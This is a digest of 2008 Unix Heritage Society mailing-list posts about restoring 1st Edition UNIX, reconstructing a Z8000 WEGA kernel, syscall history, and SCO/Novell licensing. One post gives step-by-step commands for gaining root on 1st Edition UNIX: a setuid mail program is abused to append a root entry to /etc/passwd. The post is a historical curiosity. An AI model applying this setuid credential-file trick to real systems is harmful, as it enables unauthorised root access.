Dear Oliver
Astounding work!
What reference source are you using for the reconstruction process?
I bet you are having a look at the source code for Plexis sys3 in the
TUHS archives, and comparing with the stock sysIII from SCO, right?
FWIW from the source trees from SCO and Plexis, the code layout was
arranged by CPU. I'd bet the WEGA authors had access so SysIII sources,
and if they'd gone through the pains to get it, then they might as
well got both -or perhaps Plexis, which should have been more easy
to get- to use as their codebase. So a comparison of both source
trees should yield useful insights from the differences between PDP11,
VAX and Z8000.
BTW, as I remember practice in the '80s it was not uncommon to write
source in C and then tweak the assembler produced by hand to gain some
extra efficiency or fixes. It is also possible that the authors resorted
to tricks (like casting an int parameter to char) to force the compiler
generate the code they wanted. You should also watch out for external or
global symbols. It is also possible that the system was compiled with a
different (may be earlier) version of the compiler that was later shipped.
If you can't get stock code to render the same asm then I'd bet for the
latest explanation (different compiler versions).
Other than that, you are doing an astounding work!
BTW, there are other Z8000 UNIX floating around. Maybe one of them will
shed some extra light.
> So my goal is now to get the kernel sources right now to make the
> neccessary changes to get TCP/IP running in the kernel. As you might
> think now this is not so easy as it sounds. The sources for some objects
> of the kernel survied over the time, but many are missing. I'm now
> sitting here since a month disassembling the original kernel object and
> writing the disassembled code back in C. I've started this by having lets
> say nearly-to-zero ASM knowldege and I'm making good progress. Not much
> is left, but from time to time the C files are not compiling to
> exactly the same object which is in the kernel. Some times other
> temporary registers are used for operations, or I can't get to the same C
> code doesn't matter of what I'm trying and so on. I'm trying to get 100%
> the same object to be 100% sure I have the same code the object was built
> with. The compiler on that system should be the same but of course I
> can't guarantee that for sure.
--
These opinions are mine and only mine. Hey man, I saw them first!
José R. Valverde
De nada sirve la Inteligencia Artificial cuando falta la Natural
Hi.
I'm reading TCP/IP Illustrated - for the first time; talk about slack! - and
noticed Stevens used BSD/386. I remember seeing in DDJ in the early '90s ads
for various software-plus-source from a Texas repackaging company, and they
had BSD/[386|i|OS] at various times for $1k.00.
That was then - this is now. Is it likely, or even possible, that BSDi the
company would be ready to consider BSD/386 and such early releases, legacy
that could be donated to TUHS? And if so, who should we contact, to ask?
Thanks
Wesley Parish
--
Clinersterton beademung, with all of love - RIP James Blish
-----
Gaul is quartered into three halves. Things which are
impossible are equal to each other. Guerrilla
warfare means up to their monkey tricks.
Extracts from "Schoolboy Howlers" - the collective wisdom
of the foolish.
-----
Mau e ki, he aha te mea nui?
You ask, what is the most important thing?
Maku e ki, he tangata, he tangata, he tangata.
I reply, it is people, it is people, it is people.
All Simh version 3.8-0 has been released by Bob Supnik. It now has all the
support that we need to run 1st Edition UNIX. In our Subversion repository,
I've updated the Readme file and the simh.cfg file to match the new simulator.
Cheers,
Warren
Hello.
Very interesting article from http://arstechnica.com here:
http://arstechnica.com/news.ars/post/20080501-deluded-sco-ceo-on-witness-st…
A quote from that article:
"Greg Jones, VP of Technology at Novell, was called as a witness. Jones
was asked if SCO ever told Novell that it would sue Linux users. He
said, "No, never that specific." When asked if SCO notified Novell under
the Asset Purchase Agreement Amendment 2 that it would enter into a
license with Microsoft, he said, "No."
Jones testified that SVRX code is in Solaris and that he had discovered
several cases of this. At that point, Novell entered into evidence at
least 21 examples of OpenSolaris code that had been taken from the SVRX
code base (one such example can be found on the OpenSolaris web site)
and re-licensed under Sun's open-source CDDL license.
He further testified that the agreement between SCO and Sun was
"extraordinary" in allowing a move from a proprietary license to an
open-source license, and if Novell had been asked, it would have
prevented SCO from entering into that agreement. He said the same thing
regarding the Microsoft agreement with SCO, as well as the agreement
between SCO and Computer Associates."
And then this pearl:
"SCO argues that it was not authorized to execute license agreements and
that interested third parties such as Sun and Microsoft should get their
money back, but it says that Novell is not entitled to hold the money in
the interim. If you purchased a license from SCO that was unauthorized,
the argument is that you'll need sue them to get it back. Since SCO is
currently in bankruptcy proceedings, that could be difficult."
------
Ain't it funny?
--
Pepe
pepe(a)naleco.com
With the successful restoration of Unix V1, I was thinking of other
operating systems that could be restored in a similar way. The most
historically significant would probably be CTSS. The SIMH IBM 7094
simulator has everything necessary to run CTSS implemented already,
although the CTSS-specific stuff is untested (since as far as I know,
nobody has booted CTSS in it yet) and may need some patching.
There are several tapes of listings (for almost all of the system), and
a few tapes of binaries (one with supervisor binaries, and one with
"standalone" utilities, but nothing with user-mode programs) available.
The listings need to be converted back into source that can be assembled
or compiled. Part of this can be done automatically (I have written some
dumb scripts to do this), but there will likely be quite a bit of manual
editing involved. There is nothing to be OCRed, since everything is on
magtapes.
Most of the source is either assembly or MAD (an Algol-58 dialect), with
a few files in AED (another Algol dialect, for which no compiler appears
to have survived). Restoring the assembler stuff should be easy (there
exists a cross-assembler which would work), but restoring the MAD stuff
will be a little bit harder. There is no cross-compiler for it (there is
a compiler that runs under IBSYS, but it is probably just for an IBSYS
target, and I'm not sure if anyone has even figured out how to run it).
The AED stuff will have to be rewritten in MAD (which shouldn't be
especially hard, since AED and MAD are somewhat similar). Only a few
non-essential programs are written in AED.
I think that all (or at least most of) the stuff required for booting is
written in assembler, so the best way to get it working would be get a
minimal system booting (I suspect all that is necessary is the
supervisor, so the binaries on the tape might be of use), and run the
CTSS MAD compiler under it to compile all the MAD stuff (which includes
many of the "core" commands).
I'm not sure what the best way to get stuff into a filesystem is. The
standalone utilities run under FMS, and there is no bootable FMS tape.
There is a version of FMS that runs under IBSYS, but for some reason, it
returns an error when attempting to load the utilities off the tape.
It is probably possible to patch it to fix that bug, though. It would
also work to write utilities that run on the host system, much like what
was done for Unix V1 (although I think that fixing the bug in FMS would
probably be easier).
Maybe I should start a Sourceforge project.
Another, much simpler, system which might be possible to restore is
MUMPS-15, for which a PDF of a paper listing is available on bitsavers.
Restoring it would probably just be a matter of OCRing, correcting, and
assembling it (and maybe writing a bootstrap).
Hi,
while creating a web-page about the open questions of how to create C
code which compiles through the optimizer run to the same ASM code as the
original object was made from, I found the fix for one of my two "top"
questions.
The (right now) remaining question is here:
http://pofo.de/P8000/problems.php
The other (solved) problem was:
I had the following ASM code:
ldk r2,#0
ldb rl2,_u+1060
ld r3,r2
neg r3
add r3,#256
ldb rh3,rl3
clrb rl3
ld _u+48,r3
so i created the following C code out of it:
u.u_count = (-u.u_segmts[NUSEGS-1].sg_limit+0x100)<<8;
but this compiled to this ASM code:
ldk r2,#0
ldb rl2,_u+1060
neg r2
add r2,#256
ldb rh2,rl2
clrb rl2
ld _u+48,r2
As you can see the copy of r2 to r3 and the further processing with r3 is
missing here. I also thought "who the fuck would write such an C-code,
the code must look different". but I did not found the solution what
could have been written in the C code until I've talked today with a
colleague of mine at work about ASM and my problems. He isn't familar
with Z80(00)-ASM but he used to program ASM years ago with his C64. We
took the ASM code and simulated it with values:
_u+1060 contains 15 and is loaded to rl2 15 (0x000F / 00000000 00001111)
this gets negated (2 complement formed) -15 (0xFFF1 / 11111111 11110001)
to that, 256 gets added 241 (0x00F1 / 00000000 11110001)
this is 8 bit rightshiftet 61696 (0xF100 / 11110001 00000000)
the result gets loaded into _u+48
He then got the idea that all this could be aritmetical written
as ((256 - 15)*256) because -15+256 is == 256-15 and rightshifts are done
aritmetically by multiplying the value with 256. It could have also been
done by having 256² - 256*x. This was great. With that information I wrote
in C:
u.u_count = (256-u.u_segmts[NUSEGS-1].sg_limit)<<8;
And this generated the same ASM code as in the original code
problem solved :)
--
Oliver Lehmann
http://www.pofo.de/http://wishlist.ans-netz.de/
Hi everybody,
I don't know if it's usual or not to write an introduction but I'll just
do so by keeping more an eye on the computer system I own.
If you don't care just skip this mail ;)
As my From header states my name is Oliver, I live in germany and right
now I'm 27 years old. That should be enough to my person - now let me
tell you a bit more about the computer system I own ;)
EAW P8000
This system was built between 1987 and the breakdown of the former GDR -
the eastern part of germany - 1990. The system itself is split up into
two "towers" connected together. The first tower called "P8000 Computer"
contains a 8Bit system (Z80) and a 16Bit system (Z8001).The 2nd case -
the "P8000 Winchester" - contains a Winchester Disc Controller which runs
with a Z80 CPU and is connected to the 16Bit part of the "P8000
Computer". Up to three MFM drives (all with the same geometry while the
geometry itself can be configured) can be connected to the WDC.
The 8Bit part is built on a single board, has 64KB SRAM, 2 SIOs to
connect up to 4 terminals to it, one PIO to connect a EPROM programmer,
and one PIO to establish a connection to the 16Bit part. It has 2 5.25"
floppy drives with an external connector to connect two further 5.25" or
8" floppy drives. The systemmonitor is loaded from two 2732 EPROMs.
The system originally supported three operating systems while two
survived the time being. I own UDOS which is a Z80-RIO clone and OS/M
which is a CP/M clone. There also was an OS called IS/M which was an ISIS
clone.
The more interesting (at least for me) part is the 16Bit part. The 16Bit
part is built on a single board too (6layer) while the DRAM are single
board which can be hooked up onto the mainboard.
The system runs a Z8001 with 3 MMUs and Z80-peripherial ICs (PIO, SIO...)
It also has 2 SIOs for 4 terminal connections, and one PIO to connect the
WDC. The system also has two furhter PIO chips to establish a connection
to the 8Bit system. The system runs with up to 4MB of DRAM but it might
run with more RAM with self-made RAM modules. There exists also a RTC for
the system and an extension to connect an 80286CPU + 1MBRAM to the 16BIT
port to run a x86 OS on it while stearing it from the OS running on the
16Bit system.
The Operating-System running on the 16Bit part is WEGA - a ZiLOG ZEUS
clone.
To boot WEGA at first the 8Bit system has to be booted up with UDOS (the
Z80-RIO clone) to load a communication software which handles the
communication over the 8Bit-PIO. After this is done the system switches
over to the 16Bit system and the system monitor there gets loaded. The
WEGA-Kernel (most parts are still original ZEUS objects) itself has the
corresponding part for the 8<->16Bit communication interface in it.
This was done to get access to the floppy drives, the EPROM programmer
and the 4 8Bit-terminal connections which are all connected to the Z80
on the 8Bit-system.
To access for example a floppy, the WEGA-kernel has to send the request
using the PIO connection to the 8Bit system which handles it and sends
the results back to the WEGA-kernel on the 16 Bit system. Same goes with
the WDC which is connected through another PIO directly to the 16Bit
system - command codes are sent to the Z80 on the WDC which handles the
codes and sends the results back to the 16Bit system. Not that fast but
it works good.
Pictures and so one are all collected on my homepage
http://pofo.de/P8000/ while most (if not to say all) of original
documents are written in german...
So - what do I do with the system? I use it for learn more about hardware
processes itself, assembler and to get a deeper UNIX knowledge which is
easier to start with there then with todays UNIX systems.
Las project was to get TCP/IP working and I successed by usingg K5JB to
get FTP and ping to work via SLIP. Because the speed was damn slow (and
not just because of the baud rate), I came to the conclusion that a
better performance could be achieved by implementing TCP/IP in the
kernelspace instead of having it run in the userspace.
So my goal is now to get the kernel sources right now to make the
neccessary changes to get TCP/IP running in the kernel. As you might
think now this is not so easy as it sounds. The sources for some objects
of the kernel survied over the time, but many are missing. I'm now
sitting here since a month disassembling the original kernel object and
writing the disassembled code back in C. I've started this by having lets
say nearly-to-zero ASM knowldege and I'm making good progress. Not much
is left, but from time to time the C files are not compiling to
exactly the same object which is in the kernel. Some times other
temporary registers are used for operations, or I can't get to the same C
code doesn't matter of what I'm trying and so on. I'm trying to get 100%
the same object to be 100% sure I have the same code the object was built
with. The compiler on that system should be the same but of course I
can't guarantee that for sure.
I'll put a web page together with my open C<->ASM questions because I
think I can format things better there so asking and reading would be
easier (probably because it is a lot of text)
My progess can be seen here: http://pofo.de/P8000/kernel.php
And the sources I got so far are here:
http://cvs.laladev.org/index.html/WEGA/src/uts/
I hope you can help me a bit with answering the things I can't find an
answer myself ;)
--
Oliver Lehmann
http://www.pofo.de/http://wishlist.ans-netz.de/
Working with the 1st Edition UNIX code has been a blast. I just thought I'd
quickly summarise the features of the 1st Edition. It's quite amazing the
system that had been written by the end of 1971:
- a multitasking system with up to 16 processes
- multiple users
- a hierachical filesystem, with empty directories used as mountpoints
- read/write file protection for user/other (no group), plus the
execute and set-userid bits
- i-nodes, and filenames separated from i-nodes, allowing hard links
- device files
Just as interesting is the fact that, out of the 33 system calls in 1st
Edition UNIX, only one has disappeared completely from modern UNIXes;
four have merged into signal(), and a few have morphed into other syscalls:
V1_RELE 0 /* release the CPU, i.e. pre-empt this process */
V1_EXIT 1 exit()
V1_FORK 2 fork()
V1_READ 3 read()
V1_WRITE 4 write()
V1_OPEN 5 open()
V1_CLOSE 6 close()
V1_WAIT 7 wait()
V1_CREAT 8 open(path, O_CREAT | O_TRUNC | O_WRONLY, mode);
V1_LINK 9 link()
V1_UNLINK 10 unlink()
V1_EXEC 11 exec()
V1_CHDIR 12 chdir()
V1_TIME 13 gettimeofday()
V1_MKDIR 14 mkdir()
V1_CHMOD 15 chmod()
V1_CHOWN 16 chown()
V1_BREAK 17 brk()
V1_STAT 18 stat()
V1_SEEK 19 lseek()
V1_TELL 20 lseek(fd, 0, SEEK_CUR);
V1_MOUNT 21 mount()
V1_UMOUNT 22 umount()
V1_SETUID 23 setuid()
V1_GETUID 24 getuid()
V1_STIME 25 settimeofday()
V1_QUIT 26 signal(SIGQUIT,...)
V1_INTR 27 signal(SIGINT,...)
V1_FSTAT 28 fstat()
V1_CEMT 29 signal(SIGEMT,...)
V1_SMDATE 30 utimes()
V1_STTY 31 fcntl(), tcsetattr()
V1_GTTY 32 fcntl(), tcgetattr()
V1_ILGINS 33 signal(SIGILL,...)
The fact that we are still using these system calls today speaks volumes
for the original design.
Cheers,
Warren
Seen in a .sig:
Unix is the answer, but only if you phrase the question very carefully.
--
Milo Velimirović
University of Wisconsin - La Crosse
La Crosse, Wisconsin 54601 USA 43 48 48 N 91 13 53 W
> Date: Thu, 22 May 2008 18:10:33 +0200
> From: "Jose R. Valverde" <jrvalverde(a)acm.org>
> Subject: Re: [TUHS] V8 - V10
>
> Solaris has been open sourced and is heavily System V based. Novell
> argues now SCO was not entitled to, and so the Sun-SCO agreement that made it
> possible is probably void.
>
> [...]
> There remains the issue of the flow of SystemV licenses money to Novell
> after and if it is open sourced... I don't know how much that is, nor how much
> it might be 4-10 years from now when the SCO appeals are heard. So my evaluation
> is probably faulty.
I concur with your opinion.
If Novell could not get paid from The SCO Group of the percentage (about
90%) they are entitled to of the SVRX License Payment SUN made to The SCO
Group, and of the SVRX License Payment Microsoft made to The SCO Group
(because, you know, The SCO Group has filled for bankruptcy), then they are
probably going to action on the basis of said Licenses being void, or at
least in being void the part of such Licenses that allows to Sub-license
the material changing the terms of the License, or changing the License
altogether. According to this hypothesis on the future, in case The SCO
Group cannot find the money to pay Novell, Novell will probably try to
renegotiate such Licenses directly with SUN and Microsoft. Microsoft
will probably just return the material instead of paying for it (as they
don't need it), but SUN is in a totally different position.
SUN has now OpenSolaris, which was made possible by that License they got
from The SCO Group. So SUN will renegotiate and pay Novell to legalize
the SVRX License they got from The SCO Group which allowed them to
"open-source" Solaris.
Only after Novell gets that payment(s), either from The SCO Group or
SUN, will they consider "open-sourcing" the historical SVRX and
classical UNIX code. Otherwise, they could hardly monetize on it, as
they currently have the opportunity to do.
Regards,
--
Pepe
pepe(a)naleco.com
My take on this is multiple:
If I remember well from IBM vs. SCO the agreements between IBM and alike
and AT&T stated that the code was to be kept confidential but that if a third
party did release it, the licensees would no longer be bound by that restriction.
Solaris has been open sourced and is heavily System V based. Novell
argues now SCO was not entitled to, and so the Sun-SCO agreement that made it
possible is probably void.
Novell is now engaged against SCO. Once that is over, they'll have to
look at the Sun and MS agreements. My take on this is that they will renegotiate.
In the case of Sun there is no longer sense in asking for the code to be closed.
It's in the open now and has been for a long time. If I were Novell, I would
negotiate in a oblique direction: Solaris _may_ pose a competing threat to Novell
Linux business... arguably. Sun is interested in making Solaris GPL. If it were,
then Novell would have no standpoint against Sun as it would make no difference
then for them to use either Linux or Solaris, both being equally available and
third-party originated under the same license. Going after Solaris would give
them a very bad reputation among OSS followers. Thus, what would make more sense
would be to negotiate with Sun and ask for some more money in exchange for
dropping any charges and Solaris becoming GPL. Everybody wins and everybody is
happy.
Should it go that way, and probably only afterward, Novell may consider
opening up System V under an OSS license, as most of it would have been rendered
obsolete by OSS Solaris. It would also increase Novell's reputation and clear
this mess forever. Hopefully by the time this happens (counting on SCO or their
successors to appeal the Utah decision), maybe 10 years from now, System V will
have become as irrelevant -commercially I mean- as e. g. UNIX v5 is now while
historical interest and value will have raised after several years of TUHS
applying moderate pressure ;-) It would also be the time to ask IBM to release
the code for AIX and DYNIX (which is already in the wild according to
soothsayers), HP to open Tru64 (same and which they insist on phasing out),
etc...
There remains the issue of the flow of SystemV licenses money to Novell
after and if it is open sourced... I don't know how much that is, nor how much
it might be 4-10 years from now when the SCO appeals are heard. So my evaluation
is probably faulty.
Oh, well, I woke up in a dreamy mood today! :-)
j
--
These opinions are mine and only mine. Hey man, I saw them first!
José R. Valverde
De nada sirve la Inteligencia Artificial cuando falta la Natural
> From: Aharon Robbins <arnold(a)skeeve.com>
>
> Is the SCO "stuff" settled enough that DMR can release V8 - V10 to TUHS?
It seems clear, now, that the copyright on that is Novell's, and that
The SCO Group *never* had the copyright for that transferred to them by
Novell, and that therefore the "open-sourcing" of that material done by
Caldera is void because Caldera was lacking just title to do such
re-licensing.
Therefore, you can legally release it to TUHS, provided you have a license or
permission from Novell to do so.
You could always release it anyway, and hope for the best, but then you
are on your own and betting for your luck. Anything could happen, but it
is unknown.
--
Pepe
pepe(a)naleco.com
Yow. I didn't expect such a flurry of legalese when I asked the question.
> Date: Wed, 21 May 2008 17:54:41 -0700
> From: lm(a)bitmover.com (Larry McVoy)
> Subject: Re: [TUHS] V8 - V10?
> To: Pepe <pepe(a)naleco.com>
> Cc: tuhs(a)minnie.tuhs.org
>
> > Therefore, only Novell can "open-source" V8 - V10, which is the point
> > being discussed here, and Caldera had no title to do it.
I hadn't kept up, so this was an interesting surprise. At least we know
more or less what's going on now.
> Has anyone asked Novell?
Indeed. Do we even know who to ask there?
Thanks,
Arnold
I was just browsing through the 1974 UNIX CACM paper, the one that first
publicly described the design and functionality of UNIX. I came across
some sentences which describe the file permissions, and they sounded quite odd:
When a file is created, it is marked with the user ID of its owner.
Also given for new files is a set of seven protection bits.
Six of these specify independently read, write, and execute permission
for the owner of the file and for all other users. [The seventh bit
is the set-user-id bit. ]
This seems to indicate that there are "rwx" bits for owner, "rwx" bits for other,
and no "rwx" bits for group. I've never seen a UNIX system with 6 file
permission bits, so I thought I would poke around to see what I could find. It
turns out that none of the source code or document artifacts that we have
describe a UNIX system with just 6 "rwxrwx" bits: there are either "rw" user,
"rw" other and a separate execute bit, or the modern 9 "rwxrwxrwx" permission
bits.
1st Edition UNIX (Nov 1971) has these permission bits for an i-node:
#define I_SETUID 0000040 set-user-id
#define I_EXEC 0000020 a single execute bit
#define I_UREAD 0000010
#define I_UWRITE 0000004 read/write for user
#define I_OREAD 0000002
#define I_OWRITE 0000001 read/write for other
3rd Edition UNIX (Feb 1973) has these permission bits for an i-node:
000040 set user ID on execution
000020 executable
000010 read, owner
000004 write, owner
000002 read, non-owner
000001 write, non-owner i.e same as for 1st Edition
By the time we get to the Nsys kernel (Aug 1973, just before 4th Edition UNIX),
the system has the concept of groups and the setgid() & getgid() system calls.
The inode.h header file defines these permission bits:
#define ISUID 04000
#define ISGID 02000
#define IREAD 0400
#define IWRITE 0200
#define IEXEC 0100
This is a bit unclear, but the code for the access() kernel function implies
that there are read/write/execute bits for user, group and other. Here is the
code for access() with my comments:
/* Determine if the current user can access a file with the given mode */
access(ip, mode)
int *ip;
{
register *rip;
if(u.u_uid == 0) /* root can access all files */
return(0);
rip = ip;
if(u.u_uid != rip->i_uid) { /* not owner, shift mode 3 bits, lose */
mode =>> 3; /* user bits, replace with group bits */
if(u.u_gid != rip->i_gid) /* not group, shift 3 again, lose */
mode =>> 3; /* group bits, replace with other bits */
}
if((rip->i_mode&mode) != 0) /* If mode mask and file's mode leave */
return(0); /* some bits enabled, allow access */
u.u_error = EACCES;
return(1);
}
And when we get to the 4th Edition (Nov 1973), the filesystem manual gives
these permissions:
000400 read (owner)
000200 write (owner)
000100 execute (owner)
000070 read, write, execute (group)
000007 read, write, execute (others)
So, editions up to the 3rd Edition had "rwrw" + "x"; the Nsys kernel and
onwards had "rwxrwxrwx" permission bits.
The only possibility that I can see is, as 3rd Edition was being rewritten
from assembly into C, the filesystem went through a stage where there
"rwx" execute bits for user, and "rxw" execute bits for other as the CACM
paper described, but groups had not been introduced yet. Then, the idea of
groups was added: the i-node structure had the i_gid field added, and the
access() function was extended with the lines:
if(u.u_gid != rip->i_gid) /* not group, shift 3 again, lose */
mode =>> 3; /* group bits, replace with other bits */
I'll have to ask Dennis is this sounds plausible.
Cheers,
Warren
For fun, I tried building the kernel under V1 and booting it and it
looks like it simply works.
I did the following, outside the simulator:
tools/assemv2
mkdir fs/usr/kernel
cp -pi build/u?.s fs/usr/kernel
tools/imgbuild
boot/installboot
tools/pdp11 boot/simh.cfg
Then, I logged in as root and did:
chdir /usr/kernel
as u?.s
chdir ../boot
sh run
msys2 u ../kernel/a.out
More realistically, the kernel should be built in /usr/sys.
James Markevitch
All work and no play...
Here's a fun hack for first edition unix. From MAIL (I) :
When followed by the names of a letter and one or more people, the
letter is appended to each person's mailbox. Each letter is
preceded by the sender's name and a postmark.
A person is either the nameof an entry in the directory /usr, in
which case the mail is sent to /usr/person/mailbox, or the path
of a directory, in which case mailbox in that directory is used.
Mail is setuid root:
# ls -l /bin/mail
80 surwr- 1 root 3940 Jan 1 00:00:00 mail
login as a non-root user (ie "bin"), create a file "letter" with the
contents "hack::0:/:". Run:
@ ln /etc/passwd /tmp/mailbox
@ mail letter /tmp
log out and log back in as "hack". You are now root. Cat /etc/passwd
and notice:
From bin Jan 1 00:49:22
hack::0:/:
clean up the file a little and enjoy your new elevated status.
Tim Newsham
http://www.thenewsh.com/~newsham/
On Sun, May 18, 2008 at 03:40:05PM +0200, Magnus Danielson wrote:
> Warren!
> Thanks for a couple of interesting posts!!!
> Makes me want to read some source... you seems to have it at hand.
> Where is it?
Most of it is here:
http://www.tuhs.org/Archive/PDP-11/Distributions/research/
which includes source for 5th, 6th and 7th Editions, and a kernel
written just before 4th Edition. We don't have 2nd, 3rd, or 4th Edition
source, but the 3rd and 4th Edition manuals are in there.
The source to the 1st Edition UNIX kernel has recently been found in
a paper document, available at
http://www.tuhs.org/Archive/PDP-11/Distributions/research/1972_stuff/Prelim….
Cheers,
Warren
For fun, I tried building the kernel under V1 and booting it and it
looks like it simply works.
I did the following, outside the simulator:
tools/assemv2
mkdir fs/usr/kernel
cp -pi build/u?.s fs/usr/kernel
tools/imgbuild
boot/installboot
tools/pdp11 boot/simh.cfg
Then, I logged in as root and did:
chdir /usr/kernel
as u?.s
chdir ../boot
sh run
msys2 u ../kernel/a.out
More realistically, the kernel should be built in /usr/sys.
James Markevitch
While I'm investigating the legacy of the UNIX syscalls, I might as well
go into the later versions.
2nd Edition UNIX kept all the syscalls of 1st Edition, and added these:
34 hog lower process priority, becomes nice()
35 sleep sleep()
36 sync sync()
37 kill kill()
38 getcsw reads console switches: this goes away in 7th Edition
3rd Edition UNIX kept all the syscalls of 2nd Edition, and added these:
39 boot reboot the system, becomes reboot()
40 fpe catch floting point errors, becomes signal(SIGFPE, ...)
41 dup dup()
42 pipe pipe()
43 times get process time details, becomes getrusage()
Note pipe() appears in the 3rd Edition, which was still in assembly.
4th Edition UNIX is the first kernel written in C. We start to see changes:
14 mknod was mkdir(), now can make directories and device files
34 nice was hog()
20 tell goes away, as seek() does the same job
44 profil profil()
45 tiu interface to Spider digital switching network: goes away
46 setgid setgid()
47 getgid getgid()
48 signal signal()
It's interesting to note that signal() appears, but the existing signal-like
syscalls do not disappear just yet, although tell() does go away. It's also
to note that seek() has the usual 0=SEEK_SET, 1=SEEK_CUR, 2=SEEK_END, but
there are also 3, 4, 5 which mean the same except that offsets are multiplied
by 512 bytes. This is to do long seeks on block devices. Earlier UNIX kernels
automatically multiplied offsets on block devices by 512, but now the task
of doing this has been shifted to the process.
In 5th Edition, we see some more changes:
20 getpid getpid(), fills the slot vacated by tell()
26 quit goes away to be replaced with signal(SIGQUIT, ...)
27 intr goes away to be replaced with signal(SIGINT, ...)
29 cemt goes away to be replaced with signal(SIGEMT, ...)
33 ilgins goes away to be replaced with signal(SIGILL, ...)
39 boot goes away
40 fpe goes away to be replaced with signal(SIGFPE, ...)
45 tiu goes away
6th Edition has few changes over 5th Edition:
26 ptrace ptrace(), fills the slot vacated by quit()
30 smdate becomes inoperative
7th Edition has some significant changes over 6th Edition:
27 alarm alarm(), fills the slot vacated by intr()
29 pause pause(), fills the slot vacated by cemt()
30 utime utime(), replaces the missing smdate()
33 access access(), fills the slot vacated by ilgins()
35 ftime get date and time, later becomes gettimeofday()
38 getcsw goes away
39 setpgrp setpgrp(), but not yet implemented, i.e. reserved slot
49 unused
50 unused
51 sysacct turn accounting off/on
52 sysphys set user physical addresses
53 syslock lock user in core
54 ioctl ioctl()
55 unused
56 mpxchan create mpx communications channel
57 unused
58 unused
59 exece execve(), note that existing syscall 11 exec() has no envp[]
60 umask umask()
61 chroot chroot()
Note that 35 sleep() is now gone, as its functionality can be simulated with
27 alarm().
Cheers,
Warren
> > For building under UNIX itself, there are a variety of strategies. Here
> > is my list, in order of preference:
> >
> > 2. Modify the V2 assembler to produce V1 binaries.
>
> I'm going to take a "devil's advocate" stance here, and argue to keep the
> existing "as" binary untouched.
In any event, the msys2.s will work to install a V2-assembled kernel
into the boot area.
I've sent a new copy of the boot directory and fs/usr/boot to Warren and
Tim to install. msys2.s is now the program to use to install the bootstrap
and the fs/usr/boot/unix.out file is a copy of build/a.out.
This means that if the kernel is assembled using the V2 assembler under
UNIX V1 itself, then the a.out from that assembly can be used directly
by msys2 to install into the boot area.
James Markevitch
> > I've ported the bootstrap stuff over the whole UNIX V1 build process.
> > (Note: it would be nice to have a V1 as, so that all of these hacks
> > we've been doing can go away).
>
> Did you write bos.s and msys.s from scratch? I noticed your
> wunix contains no header, just the binary bits. Was this standard
> procedure in other versions of unix or is it possible that
> the msys program took in an 0405 or 0407 and stripped the header
> off before writing it? Is there an easy way to strip the header
> from within the unix system with standard commands?
I wrote bos.s and msys.s from scratch. I am not aware of any binaries
or source for these.
bos is written in an entirely position-independent manner so that it can be
compiled with a v1 assembler, v2 assembler, etc. and still run when loaded
at location 54000 in core. Other than the option to load a paper tape, I
believe this to be as true to V1 as possible.
msys was implemented to be as true to V1 as I believed possible. It copies
images directly from disk without modifying them, as I believe the original
V1 msys did. There is no header kludging, since a V1 a.out UNIX kernel
should be bootable without modification.
For wunix (warm unix), I took the build/loadfile, stripped off the
first 6 bytes, then copied the next 16K bytes, just as the boot/installboot
script does.
For building under UNIX itself, there are a variety of strategies. Here
is my list, in order of preference:
1. Use the V1 assembler. This will produce a 12-byte header that is
exactly compatible with the kernel source as it appears in the listing. As
many people on this are aware, the first 12 bytes get manually patched
by the UNIX code when it starts up. But, I don't think the V1 assembler
exists anywhere, or at least not that has been found. That kind of makes
this option moot.
2. Modify the V2 assembler to produce V1 binaries. If the V2 assembler
can be built from sources, then it should be straighforward to edit it
to produce V1 binaries (i.e. 405 instead of 407). This would allow a
kernel in the true spirit of V1 to be created, then copied into the
boot area by msys. It would also allow other programs to all be created
as V1 binaries, which has a lot of attraction to me.
3. Modify msys.s to be msys2.s to strip the 407 header and also truncate
the copy to not overrun the size of the area being copied into (1K, 6K,
6K, 3K). I just tested a modified version of this and attached it below,
since that should help to get things going; but I really think that
option #2 would be nice to have eventually.
Note to use msys2, you need to copy build/a.out to fs/usr/boot/unix.out,
and to put msys2.s into fs/usr/boot/msys2.s. Then after you boot, do:
chdir /usr/boot
as msys2.s
mv a.out msys2
msys2 u unix.out
I'll clean up the source and send a complete fs/usr/boot out later
tonight.
James Markevitch
--------------------------- fs/usr/boot/msys2.s -------------------------
/ msys2 -- copy file to RF read only slot
/
/ re-creation, based on description in UNIX_ProgammersManual_Nov71.pdf,
/ page 7-06, BOOT PROCEDURES (VII)
/ 5/9/08 jam(a)magic.com
/ 5/17/08 jam(a)magic.com -- hacked to copy 407-format a.out files
/ b bos 1700
/ u warm unix 1704
/ 1 cold unix 1734
/ 2 unassigned 1764
mov sp,r5
mov (r5)+,r3 / argc
cmp $3,r3 / must be 3
bne badcmd / else error
tst (r5)+
mov (r5)+,r4 / get first arg
cmpb (r4),$'b
bne 1f
mov $1700,r3
mov $4,r4
br 2f
1:
cmpb (r4),$'u
bne 1f
mov $1704,r3
mov $30,r4
br 2f
1:
cmpb (r4),$'1
bne 1f
mov $1734,r3
mov $30,r4
br 2f
1:
cmpb (r4),$'2
bne badcmd
mov $1764,r3
mov $14,r4
2:
/ open file
mov (r5),r5
mov r5,0f
sys open; 0:..; 0
bes error
mov r0,r1
sys seek; 20; 0
bes error
/ open rf0 and seek to correct block
sys open; disk; 1
bes error
mov r0,r2
mov r3,0f
sys seek; 0:..; 0
bes error
/ copy file from file to disk one block at a time
1:
mov r1,r0
sys read; buf; 512.
mov r0,r5
mov r2,r0
sys write; buf; 512.
bes error
dec r4
beq 3f
tst r5
bne 1b
3:
sys exit
error:
mov $1,r0
sys write; 1f; 2
4
sys exit
1:
<?\n>
badcmd:
mov $1,r0
sys write; 1f; 2
4
sys exit
1:
<?\n>
disk:
</dev/rf0\0>
.even
buf: .=.+512.
I've ported the bootstrap stuff over the whole UNIX V1 build process.
(Note: it would be nice to have a V1 as, so that all of these hacks
we've been doing can go away).
I'll send out the .tar.gz under a separate e-mail, but it's small enough (10K)
and I don't know who's in which timezone, so somebody should be able
to commit it.
There are two versions included: one that copies the bootstrap into
the rf0.dsk image before running the simulator, and one that runs
native under V1. Given that, if someone builds the kernel using
as under V1, they can use the usr/boot/msys command to install it
without leaving the simulation.
The good news is that you can use that to copy your test kernel into
the cold boot area and if it fails, can re-start the simulator from
the warm boot area and not lose any of your filesystem (assuming your
bad kernel didn't trash it, of course).
I also have a boot command, but haven't tested it yet. It could be
used to reboot without leaving the simulation. That's fine if your
kernel works, of course.
James Markevitch
All, the file
http://www.tuhs.org/Archive/Applications/Early_C_Compilers/last1120c-bits.gz
which is a tap(I) tape image, contains a file called libc.sa, dated Jun 7 1972.
